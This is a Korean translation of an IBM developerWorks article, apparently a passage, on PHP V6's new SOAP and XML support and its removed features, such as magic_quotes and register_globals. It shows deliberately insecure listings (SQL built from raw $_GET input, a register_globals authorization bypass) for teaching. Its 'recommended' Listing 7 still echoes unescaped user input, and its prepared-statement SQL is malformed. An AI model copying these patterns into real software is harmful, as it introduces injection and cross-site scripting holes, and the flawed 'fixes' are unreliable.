V6에서는 SOAP 확장 기능이 기본적으로 활성화된다. 이 확장 기능을 사용하면 SOAP 클라이언트와 SOAP 서버를 구현하기 쉬워진다. 따라서 웹 서비스를 사용하고 제공하는 PHP 응용 프로그램을 작성하기도 쉬워진다.

SOAP 확장 기능이 기본적으로 활성화되어 있다면 PHP에서 별도로 구성할 필요가 없다는 뜻이다. 하지만 V6 환경에서 개발한 PHP 프로그램을 ISP에 게시할 때는 ISP의 판올림된 PHP 환경에서 SOAP 확장 기능이 활성화되어 있는지 ISP에 확인하는 편이 안전하다.

XML

PHP V5.1부터는 XMLReader와 XMLWriter가 PHP 코어에 포함되었다. 따라서 PHP 프로그램에서 XML을 다루기가 훨씬 더 수월해졌다. SOAL 확장 기능과 마찬가지로, SOAP이나 XML을 사용한다면 V4보다 XML 지원 기능이 훨씬 우수한 PHP V6를 반기리라 생각한다.

XMLWriter와 XMLReader는 스트림에 기반을 둔 객체 지향 클래스로, XML 구조를 일일이 신경쓰지 않고도 XML 문서를 간편하게 읽고 쓸 수 있다.

없어진 내용

PHP V6에는 새로운 기능도 추가했지만 기존 버전에서 일부 함수와 기능을 없애기도 했다. 대다수는 register_globalssafe_mode 등 현재 PHP에서 보안 허점을 노출할 가능성 때문에 "바람직하지 않다"고 여겼던 기능들이다. PHP를 정리하려는 노력의 일환으로 현재 버전에서 제거하였거나 더 이상 권장하지 않는 함수와 기능을 아래에 소개한다. ISP나 기업이 PHP V6로 판올림해버리면 기존 스크립트가 깨진다는 이유로 정리 작업을 반대하는 사람도 있지만, PHP 팀이 현재 버전의 허점을 메꾸고 좀 더 깔끔하고 안전한 기능을 제공한다는 이유로 이런 노력에 찬성하는 사람도 많다.

현재 PHP 버전에서 없어지는 기능은 다음과 같다.

  • magic_quotes
  • register_globals
  • register_long_arrays
  • safe_mode

magic_quotes

이식성, 성능, 편의성 등과 같은 이유로 PHP 문서에서는 magic_quotes 사용을 권장하지 않는다. 너무도 바람직하지 못한 탓에 PHP V6에서 몽땅 없애버렸을 정도다. 그러므로 PHP V6로 판올림하기 전에 코드에서 magic_quotes를 모두 없애기 바란다. 데이터베이스 호출 시 문자열을 이스케이프하려고 magic_quotes를 사용했다면 매개변수화된 질의로 대체하는 편이 바람직하다. 만약 데이터베이스가 매개변수화된 질의를 지원하지 않는다면 (MySQL에서는) mysql_escape_string 혹은 (PostgreSQL에서는) pg_escape_string 같은 이스케이프 함수를 사용한다. Listing 2는 magic_quotes를 사용하는 예다.

Listing 2. magic_quotes 사용(권장하지 않음)
                
<?php
// magic_quotes를 켜놓았다고 가정한다.
$sql = "INSERT INTO USERS (USERNAME) VALUES $_GET['username']";
?>

Listing 3은 Listing 2 코드를 새로운 PHP V6에 맞게 수정한 코드다.

Listing 3. 매개변수화된 질의 사용(권장함)
                
<?php
// MySQL에서 적절하게 매개변수화된 질의를 사용하는 예다.
$statement = $dbh->prepare("INSERT INTO USERS (USERNAME) VALUES ?");
$statement->execute(array($_GET['username']));
?>

magic_quotes를 더 이상 지원하지 않으므로 get_magic_quotes_gpc() 함수도 더 이상 지원하지 않는다. 일부 오래된 PHP 스크립트는 영향을 받을지도 모르므로, PHP 버전을 판올림하기 전에 이런 함수를 사용하는 곳을 찾아내어 코드를 적절히 수정하기 바란다.

register_globals

register_globals 구성 키는 PHP V4.2에서 이미 기본적으로 꺼짐 상태다. 당시로는 꽤나 논란이 되었던 문제였다. register_globals를 켜면 HTML 폼으로 값을 침투시킬 수 있는 변수를 사용하기가 쉬워진다. 그런데 PHP 스크립트는 반드시 변수를 초기화할 필요가 없으므로 register_globals를 사용하면 보안 허점이 생긴다. 자세한 내용은 참고자료에서 언급하는 register_globals 문서를 살펴본다. Listing 4는 register_globals를 사용하는 예제다.

Listing 4. register_globals 사용(권장하지 않음)
                
<?php
// 보안 허점이 생긴 이유는 register_globals를 켜놓아서 user_authorized를 위한
// 변수가 사용자가 질의 문자열에 실어 보낸 값으로 설정될 가능성이 있기 때문이다.
// (예: http://www.example.com/myscript.php?user_authorized=true)
if ($user_authorized) {
    // 모든 사람에게 민감한 자료를 보여준다.
}
?>

PHP에서 전역 변수를 사용한다면 수정하기 바란다. PHP V6로 판올림하지 않더라도 보안 문제를 고려해 코드를 정정하는 편이 바람직하다. Listing 5는 Listing 4를 수정한 코드다.

Listing 5. 구체적으로 지정(권장함)
                
<?php
function is_authorized() {
    if (isset($_SESSION['user'])) {
        return true;
    } else {
        return false;
    }
}

$user_authorized = is_authorized();
?>

register_long_arrays

register_long_arrays 설정을 켜면 사전 정의된 $HTTP_*_VARS 변수를 등록한다. 현재 $HTTP_*_VARS 변수를 사용한다면 짧은 변수로 고치기 바란다. 이 설정은 PHP 5에서 (역호환성 문제로) 지원하는데, PHP 개발자들은 성능을 이유로 끄라고 권장한다. Listing 6은 register_long_arrays를 사용하는 예다.

Listing 6. 등록된 배열 사용(권장하지 않음)
                
<?php
    // 질의 문자열에 주어진 사용자 값의 이름을 피드백을 위해 출력한다.
    // http://www.example.com/myscript.php?username=ngood
    echo "Welcome, $HTTP_GET_VARS['username']!";
?>

PHP 코드가 Listing 6과 같다면 Listing 7로 수정한다. register_long_arrays 설정이 켜져 있다면 설정을 끈 다음 스크립트를 다시 테스트한다.


Listing 7. $_GET 사용(권장함)
                
<?php
    // $_GET 배열을 대신 사용한다.
    echo "Welcome, $_GET['username']!";
?>

safe_mode

safe_mode 구성 키를 켜면 실행 중인 스크립트의 소유자와 스크립트가 작업을 수행하는 파일의 소유자를 일치시킨다. ISP가 흔히 사용하는 공유 서버 환경에서 보안 문제를 해결하려고 나온 방법이다. (safe_mode가 사라지면서 영향을 받게 되는 함수 목록은 참고자료를 살펴본다.) 기존 PHP 코드는 별다른 영향을 받지 않으리라 생각한다. 하지만 앞으로 PHP 코드를 작성할 때나 safe_mode를 사용할 때를 대비하여 알아두는 편이 좋다.

PHP 태그

PHP V6는 (PHP 태그보다 짧은) 마이크로소프트 ASP(Active Server Pages) 형식의 태그를 더 이상 지원하지 않는다. 즉, 이제 PHP 스크립트에서는 <%%>를 더 이상 사용하지 못한다. PHP 파일에서 <%%>를 사용하지 않는다면 큰 문제가 없다. 모두 <?php?>로 교체하기 바란다.

FreeType 1과 GD 1

PHP 팀은 FreeType 1과 GD 1을 더 이상 지원하지 않을 계획이다. 둘 다 오래되었고 별다른 개발 노력이 없다는 이유에서다. 두 라이브러리 모두 기능이 더 나은 새 버전이 있다. FreeType 1과 GD 1에 대한 자세한 내용은 참고자료를 살펴본다.

ereg

PHP V6부터는 (POSIX 정규식을 지원하는) ereg 확장 기능도 지원 목록에서 사라진다. 따라서 POSIX regex 함수를 사용하는 코드는 ereg 기능을 포함하면 영향을 받는다. 현재 POSIX regex를 사용한다면 시간을 투자해 PCRE(Perl-Compatible Regular Expression) 함수로 바꾸라고 권장한다. PCRE 함수가 성능 면에서나 기능 면에서 더 낫다. 표 1은 ereg를 제거한 후부터 사용하지 못할 POSIX regex 기능이다. 상응하는 PREC 함수는 아래와 같다.


표 1. ereg() 함수와 상응하는 PCRE 함수
ereg() 함수 상응하는 preg() 함수
ereg(), eregi() preg_match()
ereg_replace(), ereg_replacei() preg_replace()

PHP V5.3

여기서 언급한 일부 기능은 PHP V5.3으로 역이식되었다. PHP V5.3은 2008년 1사분기에 출시될 예정이다. 먼저 V5.3으로 판올림한 후 새 기능을 사용해 봐도 좋겠다. 그러면 V6로 판올림하기가 다소 수월해지리라 생각한다. 다음은 V5.3으로 역이식된 기능이다.

  • 이름 공간
  • XMLReader와 XMLWriter 기본적으로 지원





요약

PHP V6는 새로운 기능을 제공하고 이전 PHP 버전을 정리한다. 새로운 기능을 활용하고 없어진 기능에 대응하려면 (참고자료에서 언급하는) NEWS 리스트를 읽는다. NEWS 리스트는 PHP V6에 들어갈 (혹은 들어가지 않을) 최신 정보를 담고 있다. PHP V6 개발자 버전을 지금이라도 내려받을 수 있으니, 필요하다면 기존 프로그램이 영향을 받을지 테스트해보아도 좋겠다. 또한 이 기회를 빌어서 앞서 언급한 비권장 기능을 제거하고 문법을 개선하는 등 기존 스크립트를 정리해도 좋겠다.


참고자료

교육
  • NEWS 파일: PHP V6와 관련하여 최근 소식을 전한다.
  • Sara Golemon 블로그를 살펴본다.
  • PHP Internals: PHP 개발자들이 변경 중인 내용을 소개한다.
  • PHP meeting notes: V6에서 변경하는 내용과 변경하지 않는 내용을 소개한다.
  • core PHP functions: 유니코드를 지원하는 코어 함수 목록이다.
  • Unicode at Wikipedia: 유니코드 개념을 소개하는 위키 페이지다.
  • PHP.net: PHP 개발자들을 위한 정보 제공처다.
  • "Recommended PHP reading list.": IBM 웹 응용 프로그램 개발자들이 PHP 프로그래머와 관리자에게 권장하는 목록이다.
  • PHP 기사: PHP와 관련한 developerWorks 기사 목록이다.
  • PHP project resources: IBM developerWorks에서 제공하는 PHP 자료다. PHP 실력을 늘이고 싶다면 참고한다.
  • developerWorks 포드캐스트는 소프트웨어 개발자들이 나누는 토론과 흥미로운 인터뷰 자료를 제공한다.
  • PHP와 데이터베이스를 연동한다면 Zend Core for IBM을 권장한다.IBM Zend Core는 설치하기 쉽고 사용하기 간편한 PHP 개발 환경으로, IBM DB2 V9을 지원한다.
  • developerWorks 기술 행사와 웹 캐스트를 놓치지 말자.
  • IBM 오픈 소스 개발자들이 흥미를 가지는 컨퍼런스, 전시회, 웹 캐스트 등 전세계적으로 벌어지는 행사 목록도 참고한다.
  • developerWorks 오픈 소스 영역은 오픈 소스 개발과 구현에 필요한 자원을 모아놓은 사이트다. 오픈 소스를 개발하는 방법, 오픈 소스 도구, 오픈 소스 프로젝트, 오픈 소스에서 IBM 제품을 사용하는 방법 등을 상세히 설명한다.
  • developerWorks On demand demos에서 IBM 제품과 기술, 오픈 소스 제품과 기술을 무료로 시연해 볼 수 있다.

제품 및 기술 얻기
  • PHPUnit을 내려받아 판올림 후 PHP 스크립트를 테스트하자.
  • 다음번 오픈 소스 프로젝트에 IBM 평가판 소프트웨어를 활용해보자. 다운로드나 DVD로 제공한다.
  • IBM 제품 평가판을 내려받아서, DB2®, Lotus®, Rational®, Tivoli®, WebSphere® 같은 응용 프로그램 개발도구와 미들웨어를 사용해보자.

토론

필자소개

Nathan Good은 미네소타 주 트윈 시티에 산다. 프로그램을 짜지 않을 때는 PC와 서버를 직접 만들고, 새 기술을 읽고 시도하며, 친구들을 오픈 소스 소프트웨어 운동으로 끌어들이려고 애쓴다. 컴퓨터 앞에 앉아있지 않은 시간은 (스스로 컴퓨터 앞에서 많은 시간을 보낸다고 인정하지만) 가족과 시간을 보내며 교회에 참석하거나 영화를 본다. 웹 사이트 주소는 http://www.nathanagood.com/이다.



출처 : http://www.ibm.com/developerworks

Trackback 0 Comment 0